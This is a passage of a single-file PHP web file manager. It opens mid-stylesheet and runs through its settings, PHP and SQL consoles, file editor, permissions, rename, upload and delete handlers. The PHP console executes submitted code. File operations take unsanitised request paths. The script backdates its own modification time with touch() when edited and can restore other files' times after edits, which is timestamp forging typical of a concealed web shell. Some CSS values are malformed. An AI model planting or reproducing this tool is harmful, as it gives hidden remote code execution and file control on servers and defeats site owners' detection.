	background-color:	##CD5C5C;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#FFC0CB;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	# #808000 ;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXCdHZ4/OBZ3nU9lT3acKpxZNPTr1ri6qa6UbobtEd79up+6Ynr5egJ5Mb6feeb3n+hx9L/1U/W36p/VHDFgGswwkBtsMzhg8xTVxbzwdL8fb8VFDXcNAQ6VhlWGX4YSRudE8o9VGjUYPjGnGXOMk423GbcajJgYmISZLTepN7ppSTbmmKaY7TDtMx83MzaLN1pk1mz0x1zLnm+eb15vft2BaeFostqi2uGVJsuRaplnutrxuhVo5WaVYVVpds0atna0l1rutu6cRp7lOk06rntZnw7Dxtsm2qbcZsOXYBtuutm22fWFnYhdnt8Wuw+6TvZN9un2N/T0HDYfZDqsdWh1+c7RyFDpWOt6azpzuP33F9JbpL2dYzxDP2DPjthPLKcRpnVOb00dnF2e5c4PziIuJS4LLLpc+Lpsbxt3IveRKdPVxXeF60vWdm7Obwu2o26/uNu5p7ofcn8w0nymeWTNz0MPIQ+BR5dE/C5+VMGvfrH5PQ0+BZ7XnIy9jL5FXrdewt6V3qvdh7xc+9j5yn+M+4zw33jLeWV/MN8C3yLfLT8Nvnl+F30N/I/9k/3r/0QCngCUBZwOJgUGBWwL7+Hp8Ib+OPzrbZfay2e1BjKC5QRVBj4KtguXBrSFoyOyQrSH355jOkc5pDoVQfujW0Adh5mGLw34MJ4WHhVeGP45wiFga0TGXNXfR3ENz30T6RJZE3ptnMU85ry1KNSo+qi5qPNo3ujS6P8YuZlnM1VidWElsSxw5LiquNm5svt/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMTg5XEETAAAB8klEQVQ4y3WSMW/TQBiGn++7sx3XddMAIm0nkCohRQiJDSExdAl/ATEwIPEzkFiYYGRlyMyGxMLExFhByy9ACAaa0gYnDol9x9DYiVs46dPnk/w+9973ngDJ/v7++yAICj+fI0HA/5ZzDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
